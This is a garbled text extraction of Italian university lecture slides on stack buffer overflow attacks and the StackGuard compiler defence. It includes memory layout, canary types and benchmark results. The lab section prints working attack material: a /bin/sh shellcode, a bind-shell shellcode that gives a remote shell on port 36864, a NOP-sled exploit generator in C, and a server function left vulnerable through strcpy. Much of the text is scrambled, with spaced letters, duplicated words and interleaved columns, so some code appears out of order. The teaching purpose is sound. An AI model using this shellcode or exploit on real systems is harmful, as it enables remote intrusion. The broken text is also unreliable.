Introduzione Gestione del Buffer Cos`è uno Stack Cos`è uno Stack

Transcript

Introduzione Gestione del Buffer Cos`è uno Stack Cos`è uno Stack
Università di Salerno
Facoltà di Scienze MM. FF. NN:
Introduzione
Sistemi di Elaborazione dell’Informazione: Sicurezza su Reti
Anno Accademico 20002000-2001
Docente: Prof. Alfredo De Santis
9 I l Buffer Overflow è u n a d e lle form e p iù com u n i d i vu ln e ra b ilità
d i siste m i.
9 D om in a l’a re a re la tiva a lla p e n e tra zion e in re ti re m ote .
9 StackGuard
StackGuard - svilu p p a to n e i la b ora tori d e ll’U n ive rsità
d e ll’O re gon . S i p re figge d i re n d e re im m u n e il siste m a d a qu e sto
tip o d i a tta cco.
a cura di
Bartalotta Andrea
Capone Angelo
Capozza Michele
Ferri Guglielmo
Piccolo Sabatino
56/100083
56/100034
56/100113
56/00991
56/00983
2
Buffer Overflow
Gestione del Buffer
Cos’è uno Stack
ƒ Buffer - b locco con tigu o d i m e m oria ch e con tie n e p iù ista n ze d e llo
ste sso tip o d i d a to.
• T ip o d i d a to a stra tto ch e god e d e lla p rop rie tà LIFO.
LIFO
ƒ Overflow - rie m p ire oltre il lim ite u n b u ffe r.
• A p p a re com e u n b locco d i m e m oria con tigu o con te n e n te d e i d a ti.
• O p e ra zion i p rin cip a li - push e pop.
• Stack pointer ( S P ) - re gistro ch e p u n ta a lla cim a d e llo sta ck.
ƒ Come è organizzata la memoria di un processo?
• L a b a se è u n in d irizzo fisso.
• fissa ta
variabili statiche e dati
( in izia lizza ti e n on )
regione
regione
testo
testo
regione
regione
dati
dati
• a sola le ttu ra
L in gu a ggi d i p rogra m m a zion e ⇒ costru tto d i procedura o funzione.
• cod ice d e l p rogra m m a
stack
stack
Implementata ad hoc con il supporto di uno stack.
stack
3
4
Buffer Overflow
Buffer Overflow
Cos’è uno Stack ( 2 )
Un esempio: la regione dello Stack
void function(int a, int b, int c){
S•main
•main
call
im
im
chiaia
ppiam
ila
ila
instruction
ch
function().
ee ilil pprogra
pointer
pointer
m
cod
ice
sia
Sucall
uppppon
on
ch
mmooaainstruction
ch
function().
rogra
ImIm
ll cod
m aaice
sia
sta
ssem
to
i function()
function()
to
gen
version
era le
le
ee ddel
aasta
ssem
to com
com
bblylypdpdila
iila
to con
con uunnaagen
version
era
el
•• IP
IP vien
vienee ch
chia
iamm aato
to indirizzo
indirizzo di
di
gcc.
segu
entiti aazion
zioni:i:
segu
gcc.
gcc. en
ritorno
ritorno
pushl $$33
pushl
char buffer1[245];
char buffer2[512];
stack pointer ( S P )
}
pushl $$22
pushl
void main(){
stack frame
instruction
pointer ( I P )
pushl $$11
pushl
function(1,2,3);
call fu
fu nnction
ction
call
}
local variable
memoria
alta
memoria
bassa
frame pointer ( F P )
buffer2
buffer1
SFP
RET
a
b
c
o base pointer ( B P ) .
cima dello stack
fondo dello stack
SFP – saved frame pointer. È il ve cch io frame pointer sa lva to qu a n d o vien e a vvia ta la fu n zion e .
RET – l’in d irizzo d i ritorn o.
5
Buffer Overflow
6
Buffer Overflow
1
Cos’è un attacco di Buffer Overflow
Come attaccare con Buffer overflow
FFFF
L’attaccante fornisce
fornisce una
una stringa
stringa di
di grosse
grosse
L’attaccante
dimensioni ad
ad un
un programma
programma che
che non
non effettua
effettua
dimensioni
controlli sulla
sulla taglia
taglia dei
dei propri
propri input.
input.
controlli
La stringa
stringa sovrascrive
sovrascrive l’indirizzo
l’indirizzo di
di ritorno
ritorno
La
inietta ilil codice.
codice.
ee inietta
d e ve solo trova re codice vulnerabile a ll’in te rn o d i
p rogra m m i re sid e n ti su l siste m a .
Codice
d’attacco
Stringa
cresce
La funzione
funzione ritorna
ritorna “saltando”
“saltando
” al
al
“saltando”
La
codice iniettato.
iniettato.
iniettato.
codice
Stack
cresce
Indirizzo di
ritorno
Codice vulnerabile
qu a lsia si op e ra zion e e ffe ttu a ta su d i u n a rra y ch e n on e ffe ttu a con trolli su lla
d im e n sion e .
Variabili locali
buffer
E siston o
cookcook-books d a cu i e stra rre il cod ice n e ce ssa rio.
0000
7
8
Buffer Overflow
Buffer Overflow
Buffer Overflow: un problema attuale
Vulnerabilità ed attacchi
• L o scop o è d i sovve rtire la fu n zion e d i u n programma privilegiato.
privilegiato
¾ G ra n d e rison a n za n e l 1 9 8 8 d op o il Worm d i Internet
( Morris).
Morris
• P e r otte n e re qu e sto risu lta to l’a tta cca n te d e ve :
¾ N on c’è sta to n e ssu n se gn o d i m igliora m e n to, in qu a n to:
FFFF
1.
P re d isp orre il cod ice a d a tto, d a
e se gu ire
n e llo
sp a zio
d 'in d irizza m e n to d e l p rogra m m a .
2.
P e rm e tte re a l p rogra m m a d i sa lta re
a qu e l cod ice , con p a ra m e tri e sa tti,
ca rica ti n e i re gistri e n e lla m em oria
• ca u sa to d a fu n zion i “pericolose
pericolose” d e l C p re se n ti n e lle lib re rie
sta n d a rd ( strcpy() , strcat() , e tc).
• solo programmazione accurata p u ò lim ita re qu e sta
vu ln e ra b ilità .
• n u ove patch in trod u con o n u ove vu ln e ra b ilità .
Codice
d’attacco
Stringa
cresce
Stack frame
Indirizzo di
ritorno
Stack
cresce
Variabili locali
buffer
• u n debugging a ccu ra to p otre b b e n on e lim in a re il p rob le m a .
0000
9
10
Buffer Overflow
Buffer Overflow
Come utilizzare codice d’attacco
Modifica del flusso
D u e m od i p e r re a lizza re u n buffer overflow:
overflow
Corrompere i puntatori ⇒ indirizzo di ritorno
™ Iniettare il codice:
™ Record d'Attivazione:
• L 'a tta cca n te forn isce u n a strin ga in in p u t
• C orrom p e re l'in d irizzo d i ritorn o n e l re cord d i a ttiva zion e
• I l p rogra m m a lo ca rica in u n b u ffe r.
• L ’a tta cca n te ca u sa il sa lto d e l p rogra m m a a l cod ice d 'a tta cco.
• L 'a tta cca n te sta u sa n d o i b u ffe rs d e l p rogra m m a vittim a p e r
m e m orizza rvi il cod ice d 'a tta cco.
• stack smashing attack (a tta cco ch e fra ca ssa lo sta ck ).
™ Puntatori a Funzione:.
™ Il codice è già
già lì:
• P osson o e sse re a lloca ti ovu n qu e ( stack,
stack heap,
heap area dati)
dati .
• I l cod ice a d a tto è p re se n te n e llo sp a zio d i in d irizza m e n to.
• L 'a tta cca n te h a b isogn o d i p a ra m e trizza re il cod ice .
• L 'a tta cca n te n e ce ssita d i trova re u n b u ffe r a d ia ce n te a l
p u n ta tore a fu n zion e .
• L ’ a tta cca n te fa in m od o ch e il p rogra m m a sa lti a d e sso.
sso
• M a n d a qu e ste a re e in ove rflow p e r ca m b ia re il p u n ta tore.
tore
11
Buffer Overflow
12
Buffer Overflow
2
Tecnica tipica d’attacco
Difese da Buffer Overflow
C om b in a zion e d i:
Quattro approcci di base:
tecnica d'iniezione.
d'iniezione
9 Il metodo di forza bruta ovvero scrivere codice sicuro.
sicuro.
corruzione del record d'attivazione.
d'attivazione
9 Rendere l'area di memoria, d estin a ta a con ten ere le
va ria b ili, non eseguibile.
Nota:
• Iniezione e Corruzione n on a vve n gon o in u n 'u n ica a zion e .
9 Controllare la dimensione degli array a d ogn i a ccesso.
ccesso.
• L 'a tta cca n te p u ò in ie tta re il cod ice op p u re fa r tra b occa re u n b u ffe r
d iffe re n te p e r corrompere il puntatore al codice.
codice.
9 Verificare l'integrità
l'integrità dei puntatori p rim a d i
d ereferen zia rli.
rli.
• S e il cod ice è gi à re sid e n te ⇒ L ’ a tta cca n te h a b isogn o d i
p a ra m e trizza rlo.
rlo.
13
14
Buffer Overflow
Buffer Overflow
Scrivere codice sicuro
Buffer non eseguibili
• Irrimediabilmente costoso!
costoso!
Impedire all'attaccante di eseguire il codice inserito
• utilizzare tools come grep.
grep
⇒ Rendere il segmento dati dello spazio di indirizzamento non eseguibile.
eseguibile
• Programmazione sicura dovrebbe seguire le seguenti regole:
Problemi
• Principio del minor privilegio possibile.
L in ea d i p rogetta zion e d ei sistem i su i vecch i com p u ter
I p iù recen ti sistem i UNIX e MS Windows, dipendono d a lla p ossib ilità d i in serire cod ice
d in a m ico n el segm en to d a ti d ei p rogra m m i, p er ottim izza re le p resta zion i.
• Scrivere codice semplice.
• Non fidarsi di nessuno.
A lcu n i sistem i d evon o sa crifica re sosta n zia li com p a tib ilità d ei p rogra m m i già in u so.
‰ patch per Linux e Solaris implementano questo criterio.
Vulnerabilità al buffer overflow possono essere
non facilmente individuabili
‰ pochi problemi di compatibilità
compatibilità:
ƒ nessun programma "normale" ha del codice eseguibile nello stack.
15
16
Buffer Overflow
Buffer Overflow
Controllo della dimensione degli array
Non basta inserire codice per realizzare un buffer overflow:
Verifica dell’integrità dei puntatori
Verifica:
¾ è necessario modificare il flusso del programma in esecuzione.
¾ un puntatore è stato sovrascritto prima di essere utilizzato?
utilizzato?
™ Non è possibile corrompere i dati adiacenti nello stack.
Attacchi mirati alla modifica di componenti del programma,
che non siano i puntatori, andranno comunque a segno.
segno.
™ Elimina completamente le possibilità
possibilità di realizzare tali attacchi.
™ L'approccio diretto è quello di testare tutti i riferimenti agli array.
sviluppato in 3 modi distinti:
Realizzazioni:
¾ Snarskii - versione personalizzata di libc per FreeBSD.
FreeBSD.
9 Controllo sulla dimensione degli array: (Jones
(Jones & Kelly).
Kelly).
¾ Progetto StackGuard
StackGuard..
9 Controllo dell’
’accesso in memoria.
dell
dell’accesso
¾ PointGuard - in fase di sviluppo.
sviluppo.
9 Linguaggi Type-Safety.
Type
Safety.
Type-Safety.
17
Buffer Overflow
18
Buffer Overflow
3
StackGuard
StackGuard
StackGuard
StackGuard ( 2 )
Realizzato utilizzando una tecnica di compilazione che assicura
l'integrità
l'integrità dell'area di memoria contenente l'indirizzo di ritorno del
record d'attivazione della funzione.
Codice
d’attacco
9 I l cod ice aggiuntivo p ia zza u n a
canary word vicin o a ll'in d irizzo d i
ritorn o n ello sta ck.
Stack frame
Indirizzo di
ritorno
FFFF
a p p lica re a gcc .
¾ aggiunge del codice specifico.
FFFF
Codice
d’attacco
Stringa
cresce
9 StackGuard
StackGuard è u n a p iccola patch d a
Stringa
cresce
9 I l cod ice verifica ch e la canary word
sia in ta tta .
Stack
cresce
canarino
Stack frame
Indirizzo di
ritorno
variabili locali
¾ dopo salta all'indirizzo di ritorno!
variabili locali
Stack
cresce
canarino
buffer
0000
buffer
0000
19
20
Buffer Overflow
Buffer Overflow
StackGuard
StackGuard ( 3 )
Terminator Canary
Problema: U n a tta cca n te le gge la canary word e la in ca p su la n e lla
strin ga d i a tta cco.
canary word costitu ita d a com u n i sim b oli d i te rm in a zion e u tilizza ti d a lle
librerie standard d e l C:
‰0-N U LL
p u ò sovra scrive re l'in d irizzo d i ritorn o se n za com p rom e tte re
canary word .
‰ CR - C a rria ge R e tu rn
‰ LF - L in e F e e d
Soluzione:
‰ -1 - E n d of F ile
StackGuard
StackGuard u tilizza tre m e tod i p e r p re ve n ire qu e sto a tta cco:
Nota che:
che:
Terminator Canary
U n m a lin te n zion a to n on p otre b b e u sa re le fu n zion i sta n d a rd p e r le gge re
qu e sti sim b oli e d in ca p su la rli in u n a strin ga .
Random Canary
L e fu n zion i d i cop ia si fe rm e re b b e ro a lla p rim a occorre n za d i u n o d i
qu e sti ca ra tte ri.
Xor Random Canary
21
Buffer Overflow
22
Buffer Overflow
Random Canary
Xor Random Canary
canary word di 32 bit scelto al runrun-time.
time
M e cca n ism o in trod otto d a lla ve rsion e 1.21 d i StackGuard
StackGuard.
S e gre to fa cile d a u sa re d ifficile d a in d ovin a re .
¾ canary word con siste d i u n vettore d i 1 2 8 b it ca su a li (quattro
word scelte al run-time)
N on è m a i rive la ta .
¾ XOR (4 word , retu rn a d d ress).
C a m b ia a d ogn i ria vvio d e l p rogra m m a .
canary word le ga ta a ll'in d irizzo d i ritorn o
d e lla fu n zion e a ttiva .
23
Buffer Overflow
24
Buffer Overflow
4
Resistenza alle intrusioni
Programma
Vulnerabile
Risultati sperimentali
S p e rim e n ta lm e n te StackGuard
StackGuard re a lizza protezione effettiva con tro
a tta cch i d i stack smashing.
smashing
Risultato senza
StackGuard
Risultato con
StackGuard
D ip 3 . 3 . 7 n
R oot sh ell
P rogra m m a b locca to
E lm 2 . 4 P L 2 5
R oot sh ell
P rogra m m a b locca to
P re se rva ca ra tte ristich e d i compatibilità
compatibilità e utilizzo d e l siste m a
p rote tto.
P erl 5 . 003
R oot sh ell
S am b a
R oot sh ell
P rogra m m a b locca to
con u scita irregola re
P rogra m m a b locca to
P roge tto Immunix:
Immunix com p ila zion e d i u n 'in te ra d istrib u zion e d i Linux
(Red Hat 5.1) con StackGuard
StackGuard.
S u p er P rob e
R oot sh ell
u m ou n t 2 . 5k/lib c 5 . 3 . 1 2
R oot sh ell
P rogra m m a b locca to
con u scita irregola re
P rogra m m a b locca to
microbenchmark h a n n o e vid e n zia to sosta n zia le in cre m e n to n e l
costo d i ogn i sin gola ch ia m a ta a fu n zion e .
wwwcou n t v2 . 3
H ttp d sh ell
P rogra m m a b locca to
zgv 2 . 7
R oot sh ell
P rogra m m a b locca to
macrobenchmark
tra scu ra b ile .
h anno
e vid e n zia to
un
overhead
tota le
25
26
Buffer Overflow
Buffer Overflow
Risultati sperimentali (2)
Considerazioni finali
™ StackGuard
StackGuard op e ra in m od o d e l tu tto tra sp a re n te
a ll'u te n te .
P e so d i StackGuard
StackGuard su l we b se rve r Apache
StackGuard
# di client
Connessioni
(per secondo)
Latenza media
(in secondi)
Throughput (in
Mbit/sec)
No
2
34.44
0.0578
5.63
No
16
43.53
0.3583
6.46
No
30
47.2
0.6030
6.46
Si
2
34.92
0.0570
5.53
Si
16
53.57
0.2949
6.44
Si
30
50.89
0.5612
6.48
™ S u l sito d i Immunix si fa rife rim e n to a d u n a ve rsion e 2.0
d i StackGuard
StackGuard, tu tt’oggi risu lta irre p e rib ile .
™ L e patch d isp on ib ili son o re la tive a ve rsion i ob sole te d e l
com p ila tore gcc .
™ L ’e n tu sia sm o in izia le n e i con fron ti d i qu e sto p roge tto è
a n d a to sce m a n d o.
27
28
Buffer Overflow
Buffer Overflow
Laboratorio
Exploit & Shellcode
9 L ’exploit
exploit sfru tta u n a vu ln e ra b ilità p re se n te in u n siste m a .
9 I l n ostro e xp loit ge n e ra la strin ga ch e sovra scrive l'in d irizzo d i
ritorn o e d e se gu e il cod ice d i a tta cco.
9 U n a shellcode è u n a rra y d i ca ra tte ri ch e con tie n e il cod ice
e se gu ib ile d a in ie tta re .
Esempio
char shellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";
29
Buffer Overflow
30
Buffer Overflow
5
Realizzare un exploit
Realizzare un exploit ( 2 )
La nostra shellcode:
9 L o sta ck in izia p e r ogn i p rogra m m a a llo ste sso in d irizzo.
9 S a p e n d o d ove in izia lo sta ck si p u ò p rova re a d indovinare d ove
si trovi il b u ffe r.
9 P a ra m e tri d e l p rogra m m a :
• d im e n sion e d i b u ffe r.
• offse t d a llo sta ck p oin te r.
9I n se rire istru zion i NOP a u m e n ta n o la p rob a b ilità d i riu scita .
memoria
alta
memoria
bassa
buffer
SFP
NNNNNNNSSSSSSSSSSS
RET
a
b
c
0xDE 0xDE 0xDE 0xDE 0xDE
cima dello stack
ch a r sh ellcod e[] =
"\xeb \x7 2 "
/* jmp callz */
/* socket() */
"\x5 e\x2 9 \xc0\x8 9 \x4 6 \x1 0\x4 0\x8 9 \xc3 \x8 9 \x4 6 \x0c\x4 0\x8 9 \x4 6 \x08 \x8 d \x4 e\x08 \xb 0\x6 6 \xcd \x
8 0"
/* bind()*/
"\x4 3 \xc6 \x4 6 \x1 0\x1 0\x6 6 \x8 9 \x5 e\x1 4 \x8 8 \x4 6 \x08 \x2 9 \xc0\x8 9 \xc2 \x8 9 \x4 6 \x1 8 \xb 0\x9 0\x6 6 \x
8 9 \x4 6 \x1 6 \x8 d \x4 e\x1 4 \x8 9 \x4 e\x0c\x8 d \x4 e\x08 \xb 0\x6 6 \xcd \x8 0“
/* listen() */
"\x8 9 \x5 e\x0c\x4 3 \x4 3 \xb 0\x6 6 \xcd \x8 0“
/* accept() */
"\x8 9 \x5 6 \x0c\x8 9 \x5 6 \x1 0\xb 0\x6 6 \x4 3 \xcd \x8 0“
/* dup2(s, 0); dup2(s, 1); dup2(s, 2); */
"\x8 6 \xc3 \xb 0\x3 f\x2 9 \xc9 \xcd \x8 0\xb 0\x3 f\x4 1 \xcd \x8 0\xb 0\x3 f\x4 1 \xcd \x8 0“
/* execve() */
"\x8 8 \x5 6 \x07 \x8 9 \x7 6 \x0c\x8 7 \xf3 \x8 d \x4 b \x0c\xb 0\x0b \xcd \x8 0"
/* callz: */
"\xe8 \x8 9 \xff\xff\xff/b in /sh ";
fondo dello stack
31
Buffer Overflow
32
Buffer Overflow
Il nostro exploit
La nostra Demo
#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define NOP 0x90
char shellcode[] = ...
if (!(buff =malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr =get_sp() - offset;
ptr =buff;
unsigned long get_sp(void) {
addr_ptr =(long *) ptr;
__asm__("movl %esp,%eax");
for (i =0; i < bsize; i+=4)
}
*(addr_ptr++) =addr;
for (i =0; i < bsize/2; i++)
void main(int argc, char *argv[]) {
buff[i] =NOP;
ptr =buff + ((bsize/2) char *buff, *ptr;
long *addr_ptr, addr;
(strlen(shellcode)/2));
int offset=DEFAULT_OFFSET,
for(i =0; i <
bsize=DEFAULT_BUFFER_SIZE;
strlen(shellcode); i++)
int i;
*(ptr++) =shellcode[i];
if (argc > 1)
buff[bsize - 1] ='\0';
bsize =atoi(argv[1]);
memcpy(buff,"EGG=",4);
if (argc > 2)
putenv(buff);
offset =atoi(argv[2]);
system("/bin/bash");
}
A p p lica zion e client/server ch e u tilizza i socket d i Berkley.
U tilizzia m o u n a shellcode ch e cre a u n socket d i a scolto su lla
p orta 3 6 8 6 4 e a vvia u n a sh e ll, re d ige n d o sta n d a rd input, output
e d error su l socket ste sso.
U tilizzia m o u n p rogra m m a ch e si con n e tte a l socket e ottie n e
u n a shell remota su lla m a cch in a vittim a .
O tten ia m o l’a ccesso a ll’h ost rem oto con i p erm essi
ch e a ve va il server.
server
33
Buffer Overflow
34
Buffer Overflow
Il server
Demo
• I l se rve r risp on d e con u n echo d i ritorn o.
• L a vu ln e ra b ilità d e l se rve r loca lizza ta n e lla fu n zion e
leggi():
void leggi (char *buff,int connfd){
char vuln[512];
int n,len,offset=0,tot=0;
while(n=read(connfd,&buff[tot],MAXLINE)>0){
tot+=n;
}
strcpy(vuln,buff);
strcat(vuln,", hello!\n");
write(connfd, vuln, strlen(vuln)+1);
}
35
Buffer Overflow
36
Buffer Overflow
6